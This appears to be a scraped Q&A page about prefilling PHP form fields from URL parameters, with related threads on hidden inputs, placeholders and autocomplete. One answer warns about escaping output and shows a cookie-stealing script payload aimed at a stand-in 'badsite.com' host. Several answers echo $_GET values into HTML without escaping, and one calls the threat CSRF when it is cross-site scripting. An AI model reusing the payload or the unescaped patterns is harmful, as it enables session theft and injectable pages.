Pre-populating form inputs with URL parameter values - php

I want to prepopulate a form with variables from a url. How do I do this?
For example:
http://somewhere.com?name=john
Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.
Thanks in advance..

Well, using php, something like
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
I'm not sure how to parse out the get variables using javascript..
Also, remember to add the htmlspecialchars, to thwart csrf attacks.
If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).

The PHP way:
<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>
For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?
After you include the function proposed in the answer, you can do the following:
document.write('<input type="text" name="name" value="'
+ get('name')
+ '"/>');

You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.
<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />

Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.
If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)
http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/
Then use the $('input').val() function to set the value.

Related

I'm using a hidden input field to move data, is there a better way?

I'm using a hidden input tag to pass a variable to a PHP script. This is the tag,
<input type="hidden" name="batch" value="<?php echo $batch; ?>">
The variable $batch is generated on the page upon user input and this variable needs to go a script which is why I have used a hidden input tag.
I feel this isn't very secure as the value left by the variable $batch can be changed using the developer toolbar or firebug.
To make it more clear,
<input type="hidden" name="batch" value="7">
is what I see using firebug. I can change the value of $batch and then submit the form.
Is there a better way to do this?
You can use sessions too. That'd be more secure, in my opinion since it can't be viewed on the client side.
Try this:
$_SESSION['batch'] = $batch;
Once the session is stored, you can access this value in any page you want by writing:
echo $_SESSION['batch']; // Output: 7

How to pass/get placeholder value?

So I have a form where one entry is:
<input type="text" id="ptid" name="ptid" readonly="readonly" placeholder="<?php echo $pid; ?>">
The value of "$pid" is not null, I already got the value from database. Then I would like to get that value and pass to another php file. So I tried this code :
<?php
$ptid=$_POST['ptid'];
?>
I tried printing this out, but somehow there's no result. Is there anyway to get the value?
placeholders aren't submitted as form values; that's the entire point of a placeholder: it displays in the input, but it is not treated as a value.
You'll need to use the regular value="<?php echo $pid; ?>" to submit the value with the form.
<form method="post">
<input type="text" name="example">
<input type="submit" value="Post me!">
</form>
Ensure you're declaring the POST and if you want to a redirect the POST to another file for handling use action.
You're picking it up correctly however,
$_POST['example']; in this case.
This would POST the input to the same file so ensure the handler is in the same context. If you do not declare post it will assume its a get request.
If you want to catch the POST in the same context then what you're doing is right. If you want to POST it to another PHP file which handles it then you cannot catch it in the same context.
Hope that helped.
Instead of placeholder use value attribute
<input type="text" id="ptid" name="ptid" readonly="readonly" value="<?php if(isset($pid)) echo $pid; ?>">
You will get value on next page.
Because value is submitted not placeholder.
I think that it's possible only with javascript - in HTML document you must create new hidden input and insert there a value with
$("#ptid").attr("placeholder")

PHP Form with PHP variable

Im try to Programm some php.
i have a site : /index.php?go=newstep&callid=2
Where i put:
<form method="post" action="addnew.php"> <input type="text" name="user" /> <input type="text" name="text" /> <input type="hidden" value="<?php echo($_GET["callid"]); ?>" name="test" />
This is because the next site "addnew.php" Needs the value "callid" from the link to ?go=newstep&callid=2
Why isn't it working?
Is there another way?
Thank you
If You want to use GET method, You can simply put Your variable as part of the link in action attribute. You don't have to use hidden input. Something like that:
action="addnew.php?callid=<?php echo $_GET['callid']; ?>"
Additionally, '"' char in attribute "value" may cause problems, because HTML may interpret it as end of the attribute value.
EDIT:
Exactly, You are using POST method in form, thus You are sending You variable, callid, by POST method now and it will be available in $_POST global array in addnew.php script, not in $_GET global array.

How can I populate the fields of a PHP form automatically when the field values are in the url?

I have a have in PHP and I have common fields such as 'Name' and 'Surname'.
Now when the user visits the page e.g. http://www.example.com/form.php the form fields 'Name' and 'Surname' are empty.
I would like to now have a link similar to this http://www.example.com/form.php?name=John
so that when the client hits the link the PHP form will now have the name field already filled with 'John' in it.
I know this can be done in HTML but how can I do it in PHP?
Just to let to know I do not own the PHP form - I just want a link from my website to fill the PHP form (which I do not have control over).
Thanks in advance.
Can be done using $_GET
An associative array of variables passed to the current script via the URL parameters.
e.g.:
<? php
if(isset($_GET['name']))
{
$test = $_GET['name'];
}
?>
<html>
<body>
<form>
<input type="text" name="test" value="<?php if(isset($test)){echo "$test";}?>"/>
</form>
</body>
</html>
Note: code isnt tested or anything.. Also, there are possible security risks with getting values from your URL (can be considered user input), so make sure you are aware of that and how to prevent
You could store that value and then when you're about to output the input fields
you just pass along the stored value.
$name = $_GET['name'];
// ... later on
echo '<input type="text" value="'.$name.'"/>';
By using $_GET superglobal
<input name="name" value="<?php echo !empty($_GET['name']) ? $_GET['name'] : '';?>" />
<input name="surname" value="<?php echo !empty($_GET['surname']) ? $_GET['surname'] : '';?>" />
You can use the get method in php to get the name and make use of it
You can retrive this information by the $_GET["name"] function, or $_REQUEST["name"].
Reserver variables
Be carefull with those operations, you might have validation a/o security problem.
Note: if you are not sure that the "name" variable is set or not, you have to use also the
isset function to test it.
You can use the $_GET superglobal, so your input could look like this:
<input type="text" name="name" value="<?php if(isset($_GET['name'])) { echo $_GET['name']; } ?>" />
The $_REQUEST superglobal does a similar thing but I would just use $_GET.
It looks like everyone's answers here assume you are building the form yourself, which doesn't appear to be the case based on your question.
The thing that you want to do may or may not be possible. If the form accepts certain kinds of parameters in certain ways, you may be able to hook in to that functionality and set it up so that when someone clicks a link on your page, that information gets passed to the other page.
One way forms can accept this information is in the form of a "get" request. With this method, values are passed as part of the url, as in your example: http://www.example.com/form.php?name=John. Assuming your page has access to a php variable called $name, you can create a link from your code to build this kind of url like this:
Sign up!
If the page does not accept get parameters in this way (and I have a hard time imagining that they would), you may have to try other techniques to send along the information (assuming that they will even accept it!). The two other ways I imagine you could do this are by passing the value with "post" or creating a cookie for the page. If you tell us what page you are trying to set up this behavior on, we might be able to examine it and give you a better answer.

how to remove autocomplete with in a text box

I need to remove autocomplete in all the textbox with in my page
so I have given <input name="txt_username" id="txt_username" type="text" value="" autocomplete="off" /></dd></dl>
But it's not working does anyone know this?
Autocomplete, unless you're doing something crazy with AJAX, is a client-side thing and you can't always control it like that.
Since autocomplete works by caching your previous entries for a specific input text name, many banks randomly generate the input text name at each form page load but keep track of what is generated either somewhere else in a hidden input element or on the server side.
So instead of
<input name="txt_username" id="txt_username" type="text" value="" autocomplete="off" />
It might be something like
<input type="text" name="f6Lx571p" id="txt_username"/>
<input type="hidden" name="username_key" value="f6Lx571p" />
And the server-side code adjusted accordingly. For example, PHP code might have looked like:
<?php
$user = $_POST['txt_username'];
...
but it would have to be changed to something like:
<?php
$user = $_POST[$_POST['username_key']];
...
Its a bit annoying, but it works.
Autocomplete cannot be turned off, it's something from the browser, but I think this must help:<input type="password" name="password" readonly onfocus="this.removeAttribute('readonly')">
You can also try placing that autocomplete attribute on the form element.
<form id="myForm" autocomplete="off">
...
</form>
This will probably invalidate your HTML so you might want to consider adding this attribute dynamically with JavaScript.
Autocomplete cannot be turned off, it's something from the browser. What I do if I want to turn off autocomplete is the following:
Start a session with a field name and random number:
session_start();
$_SESSION['strUsername'] = "username_" . mt_rand(0, 1000000);
Now use this variable as the field's name:
name="' . $_SESSION['strUsername'] . '" id="txt_username" type="text" value="" autocomplete="off" /></dd></dl>
To check the value of the field simply use
$username = $_POST[$_SESSION['strUsername']];
Now, the name will be random everytime, so the browser will not recognize the field and will not give the autocompletion.

Categories